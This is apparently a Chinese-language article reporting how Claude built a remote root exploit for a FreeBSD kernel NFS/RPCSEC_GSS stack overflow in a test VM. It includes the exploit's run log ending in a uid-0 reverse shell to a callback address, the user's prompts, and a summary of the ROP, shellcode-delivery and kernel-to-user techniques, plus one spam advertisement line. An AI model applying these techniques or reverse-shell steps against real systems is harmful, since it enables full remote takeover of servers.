【CVE-2026-4747】疯了！Claude 直接写内核 RCE，成功获得 Root Shell！

从漏洞公告到Root Shell：一次AI驱动的漏洞开发实战

发现漏洞和利用漏洞，这中间的鸿沟有多大？业内人都清楚，这完全是两个不同的世界。模糊测试工具像AFL、syzkaller，它们在内核里翻找漏洞已经有十多年历史了。但找到漏洞是一回事，把它变成能远程拿到系统最高权限的武器，那又是另一门需要深厚功力的手艺。

免费影视、动漫、音乐、游戏、小说资源长期稳定更新！ 👉 点此立即查看 👈

最近发生的一件事，或许正在悄悄改变这条“只有人类才能做到”的界线。

时间线清晰地记录了这个过程：

2026年3月26日，FreeBSD发布了一份关于CVE-2026-4747的安全公告，并将漏洞发现归功于“Nicholas Carlini using Claude, Anthropic”。三天后的3月29日上午9点45分（太平洋夏令时），一个挑战被提出：要求Claude为这个漏洞开发一个可利用的程序。到了当天下午5点，一个能够成功获取root shell的漏洞利用程序已经交付。

总用时： 约8小时实际时间。需要说明的是，用户在此期间离开了很久，Claude的实际工作时间大约在4小时左右。

有意思的是，Claude实际上准备了两种不同的攻击策略，编写了两个独立的漏洞利用程序。两个程序都一次成功。其中一个程序的输出看起来是这样的：

python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
  [*] Starting listener on 0.0.0.0:4444...
  [*] Starting listener on 0.0.0.0:4444...
  Target:   127.0.0.1:2049
  Callback: 10.0.2.2:4444
  SPN:      nfs/freebsd-vuln@TEST.LOCAL
  Shellcode: 432 bytes (54 qwords)
  Delivery:  15 rounds (1 pmap + 14 write)
  [R1/15] pmap_change_prot(BSS, 0x2000, RWX)
  [+] BSS is now RWX
  [R2/15] write (4 qwords → 0xffffffff8198a800) ✓
  [R3/15] write (4 qwords → 0xffffffff8198a820) ✓
  [R4/15] write (4 qwords → 0xffffffff8198a840) ✓
  [R5/15] write (4 qwords → 0xffffffff8198a860) ✓
  [R6/15] write (4 qwords → 0xffffffff8198a880) ✓
  [R7/15] write (4 qwords → 0xffffffff8198a8a0) ✓
  [R8/15] write (4 qwords → 0xffffffff8198a8c0) ✓
  [R9/15] write (4 qwords → 0xffffffff8198a8e0) ✓
  [R10/15] write (4 qwords → 0xffffffff8198a900) ✓
  [R11/15] write (4 qwords → 0xffffffff8198a920) ✓
  [R12/15] write (4 qwords → 0xffffffff8198a940) ✓
  [R13/15] write (4 qwords → 0xffffffff8198a960) ✓
  [R14/15] write (4 qwords → 0xffffffff8198a980) ✓
  [R15/15] write + EXECUTE (2 qwords → 0xffffffff8198a9a0) → JUMP 0xffffffff8198a800
  [*] Shellcode delivered and executing.
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] Reverse shell → 10.0.2.2:4444
  [*] Waiting for reverse shell...
  [+] Connection from 127.0.0.1:41320
  [+] Got shell!
sh: can't access tty; job control turned off
# id
                  uid=0(root) gid=0(wheel) groups=0(wheel)

从完整的漏洞利用代码和文章来看，Claude独立完成了所有内容的编写。以下是驱动这一过程的核心提示词（请原谅其中保留的原始拼写错误，它们真实反映了交互过程）：

1. https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc we want to setup a test env for this vulnerability using docker preferably so the docker files can be copied later for easy repro. password for this vm is x , you should setup a vulnerable version of FreeBSD the latest it mentions and then trigger the vulnerability
2. we want to use docker for this not qemu if possible.. we should still be able to connect and debug it the same i assume
3. why does it need to be QEMU and not docker for this to be a real exploit?
4. no just use QEMU then
5. okay now can you maybe generate an entire RCE exploit for this image ?
6. wait what are you compiling? arent we testing it inside of the Fbsd VM using the actual FBSD module as described in the advisory ?
7. i mean why wouldnt you just install a vulnerable version as mentioned in the advisory
8. okay contoninue to trigger this vuln.
9. what old qemu did you kill? we are using qemu in another session as well. do not kill that Linux qemu.
10. why is it running on 2222 2049 and 111
11. okay now what about getting RCE.
12. tere is no kaslr so it should be easy
13. install ropgadget or what ever you need ... idk
14. no we dont want to reboot? we want a reverse shell as uid 0 if possible ?
15. okay in ../FBSD-001 there is a different remote exploit that gets a shell.. read it for how they constructed the connect back as uid 0 maybe
16. is the ucred write even needed if the proc is uid0 ? and why dont we get a shell ? or can we demon strait somehow a unpriv non root user that elevates to root? but we still want a shell.. as uid0
17. from a remote context aka the exploit should be executed from outside the vm
18. no just continue to get the remote version working. use gdb and hat ever tools you need.
19. you should do this step by step - for the remote version foucs on triggering then getting PC control then the rop.
20. you need to keep notes of our current status and what you ha ve done to get here. thanks.
21. you should verify everything with gdb if you need etc.
22. 1. Pure ROP — no shellcode needed, but we're stuck on rax→rdi transfer (no gadget exists in this kernel) how are ou searching for rop gadgets?
23. why do we need kdc ?
24. nope that wont work as we cant do that from a remote exploit context without ha ving accss to the shell
25. dont think we can prestage a /tmp/x ..
26. working means a connectback shell as uid0
27. when you get it workng i want a complete writeup of th evuln, the exploit methodology, the ropchain, the overflow, and how to install and setup a vuln targetfor testing
28. i want a shell.
29. wait what do you mean increase nfs threadcount i guess we should use defaults here..
30. no just continue to get the remote version working. use gdb and hat ever tools you need.
31. make the writeup better explaining each step of the exploit and why
32. also # SSH tunnel for Kerberos KDC sshpass -p freebsd ssh -L 8888:127.0.0.1:88 -N -f -p 2222 root@127.0.0.1 is it possible to do without an ssh tunnel ?
33. can you do the forward nstead of ssh tunnel then test the exploit again
34. /tmp/final_exploit hardly looks like the final exploit ...
35. why dont you make a nicer exploit where you can supply a target and cb ip ... and do everything inline in that exploit
36. the rop / shellcode everything ..
37. the writeup feels kind of bare, explain the shellcode as if the reader has never seen FBSD001 also what do you mean the "bruteforce" version?
38. also retest and verify it works
39. update the writeup to tell how to also setup a vulnerable target using vmware for example without a KDC tunnel
40. how can i boot the qemu and test it
41. why is KDC required? and nfsd ?
42. okay you noted this stuff in the writeup?
43. do you ha ve the prompt log ? i want to see the original prompt for this
44. can you give me back all the prompts i entered in this session

Claude的成果：跨越六个关键挑战

从一份冰冷的安全公告，到一个能远程获取root shell的可用武器，Claude需要解决六个不同层面的问题。这里需要提一句，FreeBSD的环境让这件事比在现代Linux内核上实现要稍微“友好”一些：FreeBSD 14.x没有启用KASLR（内核地址是固定且可预测的），并且对整数数组没有堆栈金丝雀保护（被溢出的缓冲区是int32_t[]）。但这绝不意味着任务简单。

挑战一：实验环境搭建。 这可不是简单地启动一个虚拟机。Claude需要启动一个带有NFS、Kerberos和易受攻击内核模块的完整FreeBSD系统，并配置所有网络和服务设置，使得这个堆栈溢出漏洞能够通过网络被触发。它甚至知道虚拟机需要配置2个或更多CPU，因为FreeBSD会为每个CPU生成8个NFS线程，而每次攻击会杀死一个线程。整个过程还包括设置远程调试环境，以便能够读取和分析内核崩溃转储。

挑战二：多数据包发送策略。 Shellcode无法一次性塞进单个网络数据包中。Claude设计了一个15轮的“慢速注射”策略：首先通过一个数据包使目标内核内存区域变为可执行（RWX），然后在后续的14个数据包中，每次写入32字节的shellcode。在私下分享的另一个漏洞利用变体中，Claude甚至采用了不同的策略——将公钥写入.ssh/authorized_keys文件而非使用反向shell，成功将攻击轮次缩短到了6轮。

挑战三：干净地终止线程。 每次溢出成功都会劫持一个NFS内核线程。为了保持服务器存活以进行下一轮攻击，Claude使用了kthread_exit()来干净地终止每个被劫持的线程，而不是让系统崩溃。

挑战四：偏移量调试。 从反汇编中获得的初始堆栈偏移量竟然是错误的。Claude通过发送德布劳因序列（一种在漏洞利用中用于定位的精巧模式，尽管在阅读报告前很多人可能没听说过这个术语），读取崩溃转储，并最终修正了偏移量。

挑战五：内核态到用户态的转换。 这是一个关键障碍：NFS内核线程本身无法直接运行用户态程序。Claude的解决方案是，通过kproc_create()创建一个新进程，然后使用kern_execve()将其进程映像替换为/bin/sh，并清除了P_KPROC标志，从而使得该进程能够顺利切换到用户模式执行。

挑战六：硬件断点错误。 子进程不断因调试异常而崩溃。Claude追踪发现，这是从DDB（内核调试器）继承的陈旧调试寄存器导致的。通过在fork之前清除DR7寄存器，成功修复了这个问题。

结论

回顾整个过程，计算机发现漏洞的能力早已不是新闻。但漏洞开发（Exploit Development）这门手艺，长期以来被认为是人类专家的专属领域。它需要深入理解操作系统内部机制、精心构建ROP链、精确管理内存布局、耐心调试崩溃，并在出现意外时灵活调整策略。

历史经验表明，每当一项新的人工智能能力出现时，总伴随着“AI可以做Y，但只有人类才能做X”的论断。那么，对于X = 漏洞开发来说，这条曾经清晰的界线，似乎已经开始被悄悄地、却又实实在在地移动了。这背后的影响和意义，值得整个安全行业深思。